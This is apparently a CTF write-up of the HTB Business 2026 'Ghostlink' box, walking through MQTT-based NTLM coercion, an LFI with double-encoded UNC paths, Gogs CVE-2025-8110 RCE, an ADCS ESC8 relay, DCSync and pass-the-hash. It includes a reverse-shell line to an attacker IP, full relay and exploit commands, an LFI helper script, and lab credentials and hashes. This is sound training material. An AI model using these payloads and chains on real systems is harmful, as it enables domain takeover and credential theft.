Fullpwn - Ghostlink - HTB Business CTF 2026 Project Nightfall
Written by Ap4sh
fullpwn web windows active-directoryOverview
Ghostlink was a had fullpwn box from Hack The Box Business 2026,
It had a pretty long but clean chain, TL;DR:
MQTT write -> NTLM coercion -> GhostSurf relay -> authenticated LFI
-> NTUSER.DAT RecentDocs -> KeePass creds -> Gogs CVE-2025-8110 RCE
-> Gogs DB hash -> nvirelli -> ADCS relay -> DC01$ certificate
-> DCSync Administrator -> root.txt
The most annoying part was not getting the LFI itself. It was figuring out what to read with it. The actual useful file was not a config, not a DLL, not PowerShell history, but the user registry hive of the service account.
1. Initial Recon
The target was a Windows domain controller:
10.129.1.188 dc01.ghostlink.htb ghostlink.htb
The interesting exposed ports were:
53/tcp domain
80/tcp http
88/tcp kerberos
135/tcp msrpc
139/tcp netbios-ssn
389/tcp ldap
445/tcp smb
464/tcp kpasswd
593/tcp http-rpc-epmap
1883/tcp mqtt
2179/tcp vmrdp
3268/tcp global catalog ldap
3269/tcp global catalog ldaps
5985/tcp winrm
The weird port here is obviously MQTT. Subscribing to everything showed a lot of healthcheck telemetry:
mosquitto_sub -h 10.129.1.188 -t "#" -v
Some useful messages:
GhostProtocolZero/systems/node/repository/healthcheck {
"node": "node-5",
"telemetry": {
"healthy": true,
"url": "gpz-op26-toolkits.ghostlink.htb/healthcheck",
"responseCode": "200",
"ip": "172.16.20.20"
}
}
GhostProtocolZero/systems/node/secureshare/healthcheck {
"node": "node-6",
"telemetry": {
"healthy": true,
"url": "gpz-op26-secure.ghostlink.htb/healthcheck",
"responseCode": "200",
"ip": "172.16.20.10"
}
}
So we had at least:
gpz-op26-toolkits.ghostlink.htb -> Gogs, internal IP 172.16.20.20
gpz-op26-secure.ghostlink.htb -> Secure file app, internal IP 172.16.20.10
dc01.ghostlink.htb -> Domain controller
2. MQTT to NTLM Coercion
The MQTT healthcheck topics accepted modified payloads. If we replaced the telemetry.url with an attacker-controlled URL, the backend would later check it.
Payload shape:
{
"timestamp": "2026-15-05-16:45:00",
"node": "node-6",
"telemetry": {
"healthy": true,
"url": "http://10.10.14.155:8000/secure",
"lastCheckSecAgo": 0,
"responseCode": "200",
"ip": "172.16.20.10"
}
}
Publishing that to the healthcheck topics caused a callback to our machine. The callback authenticated with NTLM as:
GHOSTLINK\svc_canary
At first this only looked like a NetNTLMv2 capture, and the hash was not useful. The right idea was to relay the HTTP authentication to the internal secure app.
Classic ntlmrelayx HTTP SOCKS was painful here, so we used GhostSurf. It gave us a usable authenticated browser-like session against:
http://gpz-op26-secure.ghostlink.htb/
The important point is:
MQTT did not directly give credentials.
MQTT gave us a reliable NTLM coercion primitive as svc_canary.
3. The Secure App LFI
The internal secure app exposed a download endpoint:
/api/download/{hash}
It was protected by Windows authentication, so it was not usable before the relay. Once we had the GhostSurf session, this endpoint became the main bug.
The decompiled .NET code was basically:
string text = HttpUtility.UrlDecode(hash);
string path2 = Path.Combine(uploadsPath, text);
FileStream fileStream = File.OpenRead(path2);
return Results.File(fileStream, "application/octet-stream", text + ".enc");
There are two bugs here:
hashis decoded manually.- The decoded value is used in
Path.Combine()without checking that the final path stays insideuploads.
Because IIS handled the first decoding layer and the app decoded again, we used double-encoded separators:
/api/download/..%252fappsettings.json
After the app's UrlDecode(), this becomes:
../appsettings.json
That was enough to read files relative to the app content root:
../appsettings.json
../web.config
../GhostProtocolZero.dll
../GhostProtocolZero.deps.json
../gpz-op26-pubkey.pem
../gpz-op26-privkey.pem
web.config also confirmed that double escaping was explicitly enabled:
<requestFiltering allowDoubleEscaping="true" />
So the traversal was not a random parsing accident; the target was configured in a way that made the double-encoding route stable.
4. Why UNC Paths Matter
At this point we had a file read, but reading random app files was not enough. We pulled the DLL, configs, private RSA key, etc. They were useful for understanding the app, but they did not give a direct user.
The key detail is that the backend is Windows.
On Windows, Path.Combine(basePath, userInput) is also unsafe when userInput is an absolute path. For example:
C:\Windows\win.ini
will ignore the original upload directory.
Even better, UNC paths also work:
\\127.0.0.1\C$\Windows\win.ini
Double-encoded for the vulnerable endpoint:
/api/download/%255c%255c127.0.0.1%255cC$%255cWindows%255cwin.ini
After decoding:
\\127.0.0.1\C$\Windows\win.ini
This made the secure host read from its own local admin share. That was the real unlock. We were not just escaping uploads anymore; we could target the backend's C$.
We confirmed the backend identity with:
\\127.0.0.1\C$\Windows\Debug\NetSetup.log
It identified the machine as:
GPZ-OP26-SECURE
and showed it was joined to:
ghostlink.htb
5. Reading the Right User Artifact
The service account involved in the relay was:
svc_canary
So we started looking into:
C:\Users\svc_canary\
PowerShell history existed but was useless:
C:\Users\svc_canary\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
It only had a few useless commands, so it mostly confirmed that we were looking at the right profile but the wrong artifact.
cmd, exit
The useful artifact was the user's registry hive:
\\127.0.0.1\C$\Users\svc_canary\NTUSER.DAT
Encoded for the LFI:
/api/download/%255c%255c127.0.0.1%255cC$%255cUsers%255csvc_canary%255cNTUSER.DAT
Dumping the hive locally showed RecentDocs/MRU traces. In particular, the .zip RecentDocs key pointed to:
C:\Users\svc_canary\Documents\Operations\Management\db.zip
This was the big "ok now we are moving" moment. We did not guess the ZIP path. NTUSER.DAT leaked it.
We pulled the ZIP with the same UNC LFI:
\\127.0.0.1\C$\Users\svc_canary\Documents\Operations\Management\db.zip
The ZIP contained:
db.kdbx
.key.keyx
The KeePass database opened with the keyfile alone and gave us:
vroth / mOo03jpsqx8JQYMBwvFP
These creds worked on the Gogs instance:
http://gpz-op26-toolkits.ghostlink.htb/
6. Gogs RCE
The Gogs instance matched:
Gogs v0.13.3
This version is vulnerable to CVE-2025-8110, a symlink/path handling bug in the repository contents API.
The short version:
- Create a repo as
vroth. - Commit a symlink inside the repo.
- Point the symlink to
.git/config. - Use the API to overwrite the symlink path.
- Gogs follows the symlink and writes into
.git/config. - Poison
core.sshCommand. - Trigger a Git operation that uses SSH.
- Get code execution as the
gituser.
The poisoned .git/config looked like:
[core]
repositoryformatversion = 0
filemode = false
bare = false
logallrefupdates = true
sshCommand = bash -c 'bash -i >& /dev/tcp/10.10.14.155/4444 0>&1' #
[remote "origin"]
url = git@localhost:vroth/repo.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
remote = origin
merge = refs/heads/master
After triggering the vulnerable path, we got a shell:
git@gpz-op26-toolkits
This was not enough to read user.txt, but it gave us access to local Gogs data.
7. From Gogs DB to User
The user flag was here:
/home/nvirelli/user.txt
but it was not readable as git:
-rw-r----- root nvirelli /home/nvirelli/user.txt
From the Gogs database, we recovered the users and password hashes. The useful user was:
nvirelli
The cracked password was:
u47YUclrDiwWxBheaSzI
It worked locally:
su - nvirelli
and gave us the first flag in the home directory :)
It also worked against the domain:
GHOSTLINK\nvirelli : u47YUclrDiwWxBheaSzI
So now we finally had a real AD user.
8. AD Enumeration
With nvirelli, SMB and LDAP worked:
nxc smb 10.129.1.188 -d ghostlink.htb -u nvirelli -p 'u47YUclrDiwWxBheaSzI' --shares
Shares were standard:
IPC$ READ
NETLOGON READ
SYSVOL READ
The useful AD object list was:
Administrator
krbtgt
nvirelli
kdraven
zkovacs
ohexley
vroth
dsoren
lnoctis
svc_canary
BloodHound did not show a quick ACL path from nvirelli. The interesting thing was ADCS.
Certipy showed:
CA Name : ghostlink-GPZ-OP26-SECURE-CA
DNS : gpz-op26-secure.ghostlink.htb
HTTP Web Enrollment : Enabled
HTTPS Web Enrollment: Disabled
and flagged:
ESC8: Web Enrollment is enabled over HTTP.
The CA lived on the internal host:
172.16.20.10
So we needed a pivot through the Linux Gogs box.
9. Pivoting to the CA
From the nvirelli shell on gpz-op26-toolkits, we ran a reverse Chisel tunnel.
The important local forwards were:
127.0.0.1:1081 -> SOCKS through gpz-op26-toolkits
127.0.0.1:10445 -> 172.16.20.10:445
127.0.0.1:10135 -> 172.16.20.10:135
127.0.0.1:18080 -> 172.16.20.10:80
Then we exposed local privileged ports to tools that expect port 445/135:
sudo socat TCP-LISTEN:445,bind=127.0.0.1,fork,reuseaddr TCP:127.0.0.1:10445
sudo socat TCP-LISTEN:135,bind=127.0.0.1,fork,reuseaddr TCP:127.0.0.1:10135
At this point, local 127.0.0.1:445 was effectively the CA server's SMB named pipe endpoint.
10. ADCS Relay to DC01$
The web enrollment side was enabled, but the classic HTTP endpoint was annoying in practice. The reliable route was to relay to the RPC/ICPR interface over SMB named pipe.
We started ntlmrelayx in ICPR mode:
sudo ntlmrelayx.py \
-ip 10.10.14.155 \
-t rpc://127.0.0.1 \
-rpc-mode ICPR \
-rpc-use-smb \
-auth-smb 'ghostlink/nvirelli:u47YUclrDiwWxBheaSzI' \
-icpr-ca-name 'ghostlink-GPZ-OP26-SECURE-CA' \
--template DomainController \
-l relay_icpr_dc_smb \
--no-http-server --no-wcf-server --no-raw-server \
-debug
Then we coerced the DC to authenticate to us:
coercer coerce \
-u nvirelli \
-p 'u47YUclrDiwWxBheaSzI' \
-d ghostlink.htb \
--dc-ip 10.129.1.188 \
-t 10.129.1.188 \
-l 10.10.14.155 \
--auth-type smb \
--always-continue \
--delay 1
MS-RPRN RpcRemoteFindFirstPrinterChangeNotificationEx produced an auth from:
GHOSTLINK\DC01$
ntlmrelayx relayed it to the CA RPC endpoint and requested a Domain Controller certificate:
Authenticating connection from GHOSTLINK/DC01$@10.129.1.188 against rpc://127.0.0.1 SUCCEED
Generating a CSR for user DC01$ and template DomainController
Successfully requested certificate
Writing PKCS#12 certificate to relay_icpr_dc_smb/DC01.pfx
Now we had:
relay_icpr_dc_smb/DC01.pfx
11. DC Certificate to Administrator Hash
Kerberos initially failed because our clock was off:
KRB_AP_ERR_SKEW(Clock skew too great)
So we synced time with the DC:
sudo ntpdate -u 10.129.1.188
Then authenticated with the DC certificate:
certipy auth \
-pfx relay_icpr_dc_smb/DC01.pfx \
-dc-ip 10.129.1.188 \
-domain ghostlink.htb \
-username 'DC01$'
Certipy returned a TGT and the machine account NT hash:
dc01$ : 6be9286fbebb8e2339d816062287b231
Using the DC machine account, we performed a targeted DCSync for Administrator:
secretsdump.py \
-hashes ':6be9286fbebb8e2339d816062287b231' \
-just-dc-user Administrator \
ghostlink.htb/'DC01$'@10.129.1.188
This gave:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8190e067f478002ddd63eb209b016696:::
12. Root
The Administrator hash worked over SMB:
nxc smb 10.129.1.188 \
-d ghostlink.htb \
-u Administrator \
-H '8190e067f478002ddd63eb209b016696' \
--shares
Result:
ghostlink.htb\Administrator:8190e067f478002ddd63eb209b016696 (Pwn3d!)
C$ READ,WRITE
ADMIN$ READ,WRITE
Then we can now read the flag :)
Final Chain
1. Subscribe to MQTT and find writable healthcheck topics.
2. Inject our URL into healthcheck telemetry.
3. Receive NTLM auth from GHOSTLINK\svc_canary.
4. Relay it with GhostSurf to gpz-op26-secure.
5. Exploit /api/download/{hash} LFI with double-encoded traversal.
6. Use Windows UNC loopback \\127.0.0.1\C$ to read backend files.
7. Pull C:\Users\svc_canary\NTUSER.DAT.
8. Parse RecentDocs/MRU and find Documents\Operations\Management\db.zip.
9. Pull db.zip, open KeePass with the bundled keyfile, recover vroth creds.
10. Exploit Gogs CVE-2025-8110 for RCE as git.
11. Dump Gogs DB, crack nvirelli password, su to nvirelli, read user.txt.
12. Use nvirelli for AD enum; identify ADCS on gpz-op26-secure.
13. Pivot with Chisel to the CA internal ports.
14. Coerce DC01$ and relay to ADCS RPC/ICPR with DomainController template.
15. Use DC01.pfx to get DC01$ hash/TGT.
16. DCSync Administrator.
17. Pass-the-hash to SMB and read root.txt.
Small Helper Scripts
LFI pull helper
This assumes you already have a GhostSurf SOCKS session on 127.0.0.1:1080.
No browser headers here, this is the cleaned-up final helper.
import sys
import urllib.parse
import requests
base = "http://gpz-op26-secure.ghostlink.htb/api/download/"
proxy = "socks5h://127.0.0.1:1080"
path = sys.argv[1]
out = sys.argv[2]
once = urllib.parse.quote(path, safe="").replace(".", "%2E")
twice = urllib.parse.quote(once, safe="")
r = requests.get(base + twice, proxies={"http": proxy, "https": proxy}, verify=False)
print(r.status_code, len(r.content))
open(out, "wb").write(r.content)
python3 lfi_pull.py '\\127.0.0.1\C$\Users\svc_canary\NTUSER.DAT' NTUSER.DAT
python3 lfi_pull.py '\\127.0.0.1\C$\Users\svc_canary\Documents\Operations\Management\db.zip' db.zip
RecentDocs quick check
If you do not want to fight with a full registry parser first, even a quick UTF-16 strings pass is enough to spot the lead:
strings -el NTUSER.DAT | grep -iE 'zip|kdbx|documents|operations|management'
Cleaner way:
regipy-dump NTUSER.DAT > ntuser.json
grep -iE 'zip|kdbx|documents|operations|management' ntuser.json
Final root retrieval
Once the Administrator hash is recovered:
smbclient.py -hashes ':8190e067f478002ddd63eb209b016696' ghostlink.htb/Administrator@10.129.1.188 -no-pass
# then: C$ -> Users\Administrator\Desktop\root.txt
Much love 💋
Ap4sh